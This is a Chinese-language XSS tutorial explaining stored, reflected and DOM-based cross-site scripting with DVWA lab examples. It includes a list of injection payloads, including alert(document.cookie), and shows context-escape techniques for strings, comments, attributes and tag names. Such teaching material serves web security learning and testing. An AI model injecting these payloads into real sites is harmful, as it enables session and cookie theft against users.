XSS(跨站脚本攻击)基础

1. XSS的原理

  • 通过攻击者向Web页面里插入恶意的Script代码,导致当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,XSS是针对用户层面的攻击。

2. XSS的分类

  • XSS分为存储型、反射型、DOM型三种。

2.1 存储型XSS

  • 存储型XSS又叫持久型XSS,它是通过攻击者将恶意脚本存储到服务器中,之后的每一位用户(受害者),浏览到包含该内容的页面时,存储在数据库中的恶意代码将被数据库读取并返回到浏览器上执行。
  • 如下图所示这里我们通过DVWA靶场简单难度(对我们用户输入没有任何的过滤)进行简单的测试。

1

  • 这里可以看到,这个模块模拟的是一个留言板的功能,那对应到存储型XSS,因为一个网站所实现的留言或评论功能中,用户的留言是存储在数据库中的,在我们发布留言之后,网页就会出现弹窗,又因为留言是存储在数据库中的,所以当我们每次访问这个页面,弹窗也都会出现。

2

2.2 反射型XSS

  • 反射型XSS又叫做非持久型XSS,它是通过攻击者构造恶意代码的URL,通过诱骗用户点击该URL,从而在用户的浏览器中执行服务器返回页面中包含的恶意代码。
  • 如下图所示,查看源码。

3

  • 这串代码 对攻击者的输入没有过滤导致攻击者可以构造恶意的URL,当用户访问后,代码中的echo将恶意的代码返回到用户的浏览器上。所以我么可以构造。

4

  • 弹窗也随之出现。

5

2.3 DOM型XSS

  • DOM型XSS不经过后端,是通过URL传入参数去控制触发的,它的操作其实与反射型大同小异。
  • 如图,我们在 URL 中传入参数的值,然后客户端页面通过 js 脚本利用 DOM 的方法获得 URL 中参数的值,再通过 DOM 方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。

6

2.4 详细对比

特性 反射型 XSS 存储型 XSS DOM型 XSS
恶意代码存储位置 URL参数、POST数据中,不存储在服务器 服务器数据库(如评论、帖子、用户名) 不存储在服务器,可能存在于URL片段(#后面)或客户端本地
触发过程 1. 攻击者构造含恶意代码的URL
2. 诱骗用户点击该URL
3. 服务器返回的页面中包含该恶意代码
4. 用户浏览器执行
1. 攻击者将恶意代码提交到服务器并保存
2.用户正常浏览包含该内容的页面(如评论页)
3. 服务器从数据库读取恶意代码并返回
4. 用户浏览器执行
1. 攻击者构造一个特殊的URL(可能含恶意数据)
2. 诱骗用户点击
3. 用户浏览器接收到安全的页面(来自服务器)
4. 页面上的前端JS不安全地操作了DOM,将URL中的恶意数据作为代码执行
危害范围 较低,需要诱导用户点击特定链接 非常高,所有访问被感染页面的用户都会中招 中等,需要诱导用户点击特定链接
持久性 一次性,链接关闭即失效 持久,只要恶意数据还在服务器上,就一直有风险 一次性,通常链接关闭即失效
与服务器的交互 有交互。恶意代码经服务器“反射”回来 有交互。恶意代码存储在服务器,并由服务器下发 可能无交互。攻击流程完全不经过服务器处理(恶意负载在URL片段#中时,服务器收不到该部分)
关键区别点 恶意代码由服务器直接返回在响应体中 恶意代码存储在服务器数据库 恶意代码的执行是前端JS处理不当的结果,服务器响应可能是完全正常的

3. XSS的攻击Payload

  • 所有标签的>都可以用//代替,例如<script>alert("XSS")</script//

3.1 利用常见HTML标签的事件处理器

  • 这是最主流的一类。许多HTML标签支持事件属性(如 onclick, onerror, onload, onmouseover),当事件触发时即可执行JS。

3.1.1 <script>标签

  • 他是XSS最直接的Payload,可以引入外部的JS代码也可以将JS代码插入到它中间。

    1
    <script>alert("XSS")</script>
    • 弹出XSS
    1
    <script>alert(/XSS/)</script>
    • 弹出XSS
    1
    <script>alert(1)</script>
    • 弹出1,数字可以不需要引号。
    1
    <script>alert(document.cookie)</script>
    • 弹出cookie值。
    1
    <script src="x"></script>
    • 引入外部的XSS,代指脚本地址。

3.1.2 <img>标签

  • Payload:<img src="x" onerror="alert("XSS")">

  • 原理:将一个无效的URLx赋值给src属性。当图片加载失败时,onerror事件被触发,执行其中的JS。

3.1.3 <svg>标签

  • Payload:<svg onload="alert("XSS")"

  • 原理:SVG本身是基于XML的,浏览器会将其内容作为文档对象模型的一部分来解析,onload事件在SVG加载完成后立即触发。

3.1.4 <body>标签

  • Payload:<body onload="alert("XSS")"

  • 原理:如果能控制<body>标签的属性(例如注入到模板中),可以利用其onload事件。

3.1.5 <input>标签

  • Payload:<input type="text" onfocus="alert("XSS")" autofocus>

  • 原理: 利用onfocus事件,当输入框获得焦点时触发。autofocus属性使其自动获得焦点。也可以结合 onmouseover等事件。

3.1.6 <a>标签

  • Payload:<a onmouseover="alert("XSS")">悬停在这里</a>

  • 原理: 利用 onmouseover事件,当用户将鼠标悬停在链接上时触发。

3.1.7 <details>标签

  • Payload:<details open ontoggle="alert("XSS")">

  • 原理:ontoggle事件在 <details>元素打开或关闭时触发。open属性确保它一开始就是打开的,从而立即触发事件。

3.2 利用不需要用户交互的标签和属性

  • 这类Payload在页面加载时自动触发,无需用户点击或悬停。

3.2.1 <iframe>标签

  • Payload:<iframe src="javascript:alert('XSS')">
  • 原理: iframesrc属性可以接受 javascript:伪协议。

3.2.2 <embed><object>标签

  • Payload: <embed src="javascript:alert('XSS')">
  • 原理: 类似于 iframe,这些用于嵌入外部资源的标签也可以执行 JavaScript 协议。

3.2.3 <video>/ <audio>标签

  • Payload: <video><source onerror="alert('XSS')"></video>
  • 原理:img标签的 onerror原理类似,当媒体资源加载失败时触发。

3.2.4 <form>标签

  • Payload:<form action="javascript:alert('XSS')"><input type="submit">
  • 原理: 表单的 action属性可以设置为 JavaScript 协议。当用户点击提交按钮时触发。

3.2.5 <meta>标签(需要可注入到<head>中)

  • Payload:<meta http-equiv="refresh" content="0; url=javascript:alert('XSS')">
  • 原理: 利用 meta标签进行重定向到 JavaScript 协议。

3.3 利用 javascript:伪协议

  • 这种载荷主要用于可以设置URL的属性。

  • Payload:<a href="javascript:alert('XSS')">点击我</a>

  • 原理: 当用户点击这个链接时,浏览器会执行 href属性中的 JavaScript 代码。

4. XSS可以插入在哪里

  • 无论用户输入被放置在哪个HTML上下文中,攻击者的目标都是一致的:通过输入特定的闭合字符(如 ">--></style>等)来提前结束当前的上下文,然后紧接着注入可执行的JavaScript代码

4.1 用户输入作为<script>标签内容

  • 示例:

    1
    <script>var input = "用户输入";</script>
  • 攻击思路:逃逸出JS字符串的上下文,直接执行代码。

  • Payload:"; alert("XSS"); //

  • 最终效果:

    1
    <script>var input = ""; alert("XSS"); //";</script>
  • 攻击原理:"闭合前引号,;结束原语句,然后注入恶意代码,//注释掉后续内容。

4.2 用户输入作为HTML注释的内容

  • 示例:

    1
    <!-- 用户输入 --->
  • 攻击思路:提前闭合注释符号,讲后续内容变为可以执行的HTML。

  • Payload:---> <script>alert("XSS")</script> <!--

  • 最终效果:

    1
    <!-- ---> <script>alert("XSS")</script> <!-- --->
  • 攻击原理: -->闭合当前注释,注入恶意标签,<!--平衡掉页面原有的结束注释。

4.3 用户输入作为HTML标签的属性名

  • 示例:

    1
    <div 用户输入="value">内容</div>
  • 攻击思路:闭合当前标签,注入新的标签。

  • Payload:> <script>alert("XSS")</script> <div a

  • 最终效果:

    1
    <div > <script>alert("XSS")</script> <div a="value">内容</div>
  • 攻击原理: >闭合当前标签,注入脚本,新增一个标签属性名以”吞掉”原页面后续的 ="value"

4.4 用户输入作为HTML标签的属性值

  • 示例:

    1
    <div id="用户输入">内容</div>
  • 攻击思路: 逃逸出属性值上下文,闭合标签。

  • Payload:

    1. "> <script>alert("XSS")</script> <div a="
    2. " onclick="alert('XSS')
  • 最终效果1(闭合标签):

    1
    <div id=""> <script>alert("XSS")</script> <div a="">内容</div>
  • 最终效果2(事件处理器):

    1
    <div id="" onclick="alert('XSS')">内容</div>

攻击原理:

  • 方式1:">闭合属性值和当前标签,然后直接注入脚本。
  • 方式2:"闭合属性值,然后添加一个带JS代码的事件属性(如onclick)。

4.5 用户输入最为HTML标签的名字

  • 示例:

    1
    <用户输入 class="header">标题</用户输入>
  • 攻击思路: 注入一个可执行脚本的标签,或闭合无效标签。

  • Payload:script><script>alert("XSS")</script><b

  • 最终效果:

    1
    <script> <script>alert("XSS")</script> <b class="header">标题 </script><script>alert("XSS")</script><b>
  • 攻击原理: 输入一个合法的HTML标签(如script)来执行代码,或者使用>闭合一个无效的开始标签<>,然后注入脚本。后续的<b用于平衡结构。